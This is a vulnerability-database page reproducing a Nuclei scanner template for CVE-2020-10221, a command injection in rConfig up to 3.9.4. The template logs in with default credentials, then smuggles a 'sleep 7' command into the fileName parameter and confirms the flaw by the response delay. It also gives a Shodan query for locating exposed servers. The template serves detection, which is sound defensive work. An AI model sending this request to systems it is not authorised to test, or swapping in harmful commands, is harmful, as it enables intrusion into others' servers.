Lucene search
+L

rConfig <= 3.9.4 - Authenticated OS Command Injection

🗓️ 25 Aug 2026 06:35:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Authenticated OS command injection in rConfig <= 3.9.4 via fileName POST parameter.

Related
Refs
Code
id: CVE-2020-10221

info:
  name: rConfig <= 3.9.4 - Authenticated OS Command Injection
  author: Jayachandran from Securin Labs (https://securin.io)
  severity: high
  description: |
    lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.
  remediation: |
    Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials.
  reference:
    - https://github.com/advisories/GHSA-hxjm-95v4-6qjj
    - https://www.exploit-db.com/exploits/48207
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-10221
    cwe-id: CWE-78
    epss-score: 0.36754
    epss-percentile: 0.98322
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: rconfig
    product: rconfig
    shodan-query: body:"/html/rconfig"
    fofa-query: body="/html/rconfig"
  tags: cve,cve2020,rconfig,rce,authenticated,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "rconfig")'
          - 'status_code==200'
        condition: and
        internal: true

  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&userpassword={{password}}

      - |
        @timeout: 30s
        POST /lib/ajaxHandlers/ajaxAddTemplate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fileName=test%3Bsleep%207%3B

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'

      - type: status
        status:
          - 200
# digest: 490a004630440220250e1f2537990d1f97bfef81d425557e8458946a8d4f73e6e9591d061a4de2a10220697ba1ae197ff96b69755798a4b93cbd08ebaf3ea293c7384bdc29526d50e52a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 13:25Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.8
CVSS 29
EPSS0.36754
SSVC
2